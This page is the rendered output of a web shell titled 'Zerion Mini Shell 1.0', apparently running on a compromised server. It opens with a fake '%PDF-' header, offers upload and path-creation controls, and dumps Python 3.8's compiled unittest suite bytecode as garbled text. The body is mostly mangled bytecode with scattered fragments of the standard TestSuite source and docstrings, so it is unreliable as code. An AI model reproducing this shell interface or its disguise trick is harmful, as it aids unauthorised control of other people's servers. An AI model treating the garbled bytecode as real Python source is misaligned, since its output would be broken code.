%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/unittest/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/unittest/__pycache__/suite.cpython-38.pyc

U

qa2@s|dZddlZddlmZddlmZdZddZGd	d
d
eZGdddeZ	Gdd
d
eZ
ddZGdddeZdS)	TestSuiteN)case)utilTcCst||dd}|dS)NcSsdSNrrr*/usr/local/lib/python3.8/unittest/suite.py<lambda>z!_call_if_exists.<locals>.<lambda>)getattr)parentattrfuncrrr_call_if_existssrc@sneZdZdZdZdddZddZdd	Zd
dZdd
Z	ddZ
ddZddZddZ
ddZddZdS)
BaseTestSuitezNA simple test suite that doesn't provide class or module shared fixtures.
    TrcCsg|_d|_||dSNr)_tests_removed_testsaddTests)selftestsrrr__init__szBaseTestSuite.__init__cCsdt|jt|fS)Nz
<%s tests=%s>)rstrclass	__class__listrrrr__repr__szBaseTestSuite.__repr__cCs t||jstSt|t|kSr)
isinstancerNotImplementedr)rotherrrr__eq__szBaseTestSuite.__eq__cCs
t|jSr)iterrrrrr__iter__"szBaseTestSuite.__iter__cCs$|j}|D]}|r
||7}q
|Sr)rcountTestCases)rZcasestestrrrr#%s
zBaseTestSuite.countTestCasescCsLt|stdt|t|tr<t|tjt	fr<td|j
|dS)Nz{} is not callablezNTestCases and TestSuites must be instantiated before passing them to addTest())callable	TypeErrorformatreprrtype
issubclassrZTestCaserrappendrr$rrraddTest,szBaseTestSuite.addTestcCs*t|trtd|D]}||qdS)Nz0tests must be an iterable of tests, not a string)rstrr&r-)rrr$rrrr6s
zBaseTestSuite.addTestscCs8t|D]*\}}|jrq4|||jr||q|Sr)	enumerate
shouldStop_cleanup_removeTestAtIndex)rresultindexr$rrrrun<szBaseTestSuite.runcCsNz|j|}Wntk
r"Yn(Xt|dr@|j|7_d|j|<dS)z2Stop holding a reference to the TestCase at index.r#N)rr&hasattrrr#)rr4r$rrrr2Es
z BaseTestSuite._removeTestAtIndexcOs|j||Srr5)rargskwdsrrr__call__SszBaseTestSuite.__call__cCs|D]}|qdS)7Run the tests without collecting errors in a TestResultN)debugr,rrrr<VszBaseTestSuite.debugN)r)__name__
__module____qualname____doc__r1rrr r"r#r-rr5r2r:r<rrrrrs

	rc@s^eZdZdZdddZddZddZd	d
ZddZdddZ	dddZ
ddZddZd
S)raA test suite is a composite test consisting of a number of TestCases.

    For use, create an instance of TestSuite, then add test case instances.
    When all tests have been added, the suite can be passed to a test
    runner, such as TextTestRunner. It will run the individual test cases
    in the order in which they were added, aggregating the results. When
    subclassing, do not forget to call the base class constructor.
    FcCsd}t|dddkrd|_}t|D]\}}|jr8qt|r||||||||||j|_	t|jdds&t|ddrq&|s||n|
|jr&||q&|r|d||
|d|_|S)NF_testRunEnteredT_classSetupFailed_moduleSetUpFailed)rrAr/r0_isnotsuite_tearDownPreviousClass_handleModuleFixture_handleClassSetUpr_previousTestClassr<r1r2_handleModuleTearDown)rr3r<ZtopLevelr4r$rrrr5fs2



z
TestSuite.runcCst}||ddS)r;TN)_DebugResultr5)rr<rrrr<szTestSuite.debugc	Cs2t|dd}|j}||krdS|jr(dSt|ddr8dSz
d|_Wntk
rVYnXt|dd}|dk	r.t|dz^z
|WnNt
k
r}z0t|trd|_t
|}|	||d|W5d}~XYnXW5t|d|jdkr,|t|jdkr,|jD]}|j	||d	d||d
qXdS)NrH__unittest_skip__F
setUpClass_setupStdout_restoreStdoutTrrinfo)rrrCrBr&rdoClassCleanupslentearDown_exceptions"_createClassOrModuleLevelException	ExceptionrrJrr)	rr$r3
previousClasscurrentClassrLexc	classNameerrrrGsL







zTestSuite._handleClassSetUpcCs"d}t|dd}|dk	r|j}|S)NrH)rr>)rr3previousModulerVrrr_get_previous_modules
zTestSuite._get_previous_modulec	
Cs||}|jj}||krdS||d|_ztj|}Wntk
rRYdSXt|dd}|dk	rt	|dzz
|Wnt
k
r}zfztWn2t
k
r}z|
||d|W5d}~XYnXt|trd|_|
||d|W5d}~XYnXW5t	|dXdS)NFsetUpModulerMrNT)r\rr>rIrCsysmodulesKeyErrorrrrUrdoModuleCleanupsrTrrJ)	rr$r3r[Z
currentModulemoduler]rZrXrrrrFs>





zTestSuite._handleModuleFixtureNcCs$|d|d}|||||dS)Nz ())_addClassOrModuleLevelException)rr3rXZmethod_namerrP	errorNamerrrrTsz,TestSuite._createClassOrModuleLevelExceptioncCs^t|}t|dd}|dk	r8t|tjr8||t|n"|sN||tn|||dS)NaddSkip)	_ErrorHolderrrrZSkipTestr.ZaddErrorr^exc_info)rr3	exceptionrerPerrorrfrrrrdsz)TestSuite._addClassOrModuleLevelExceptioncCs||}|dkrdS|jr dSztj|}Wntk
rDYdSXt|dd}|dk	rt|dzNz
|Wn>t	k
r}z t|tr|
||d|W5d}~XYnXW5t|dztWn4t	k
r}z|
||d|W5d}~XYnXXdS)NtearDownModulerMrN)
r\rCr^r_r`rrrrarUrTrrJ)rr3r[rbrkrZrrrrIs:





zTestSuite._handleModuleTearDownc	Cst|dd}|j}||krdSt|ddr.dSt|ddr>dSt|ddrNdSt|dd}|dk	rt|dzXz
|WnHt	k
r}z*t
|trt|}|||d|W5d}~XYnXW5t|d|t|jd	kr|jD]&}t|}|j||d
d||dqXdS)NrHrBFrCrK
tearDownClassrMrNrrrO)rrrrQrRrSrrrTrUrrJ)	rr$r3rVrWrlrXrYrZrrrrEsB







z TestSuite._tearDownPreviousClass)F)N)N)
r=r>r?r@r5r<rGr\rFrTrdrIrErrrrr\s	
!($

 c@sTeZdZdZdZddZddZddZd	d
ZddZ	d
dZ
ddZddZdS)rgz
    Placeholder for a TestCase inside a result. As far as a TestResult
    is concerned, this looks exactly like a unit test. Used to insert
    arbitrary errors into a test suite run.
    NcCs
||_dSrdescription)rrnrrrrBsz_ErrorHolder.__init__cCs|jSrrmrrrridEsz_ErrorHolder.idcCsdSrrrrrrshortDescriptionHsz_ErrorHolder.shortDescriptioncCsd|jfS)Nz<ErrorHolder description=%r>rmrrrrrKsz_ErrorHolder.__repr__cCs|Sr)rorrrr__str__Nsz_ErrorHolder.__str__cCsdSrrrr3rrrr5Qsz_ErrorHolder.runcCs
||Srr7rrrrrr:Vsz_ErrorHolder.__call__cCsdSrrrrrrr#Ysz_ErrorHolder.countTestCases)
r=r>r?r@ZfailureExceptionrrorprrqr5r:r#rrrrrg6s	rgcCs(zt|Wntk
r"YdSXdS)z?A crude way to tell apart testcases and suites with duck-typingTF)r!r&)r$rrrrD\s
rDc@seZdZdZdZdZdZdS)rJzCUsed by the TestSuite to hold previous class when running in debug.NF)r=r>r?r@rHrCr0rrrrrJesrJ)
r@r^rrZ
__unittestrobjectrrrgrDrJrrrr<module>sL[&	

Zerion Mini Shell 1.0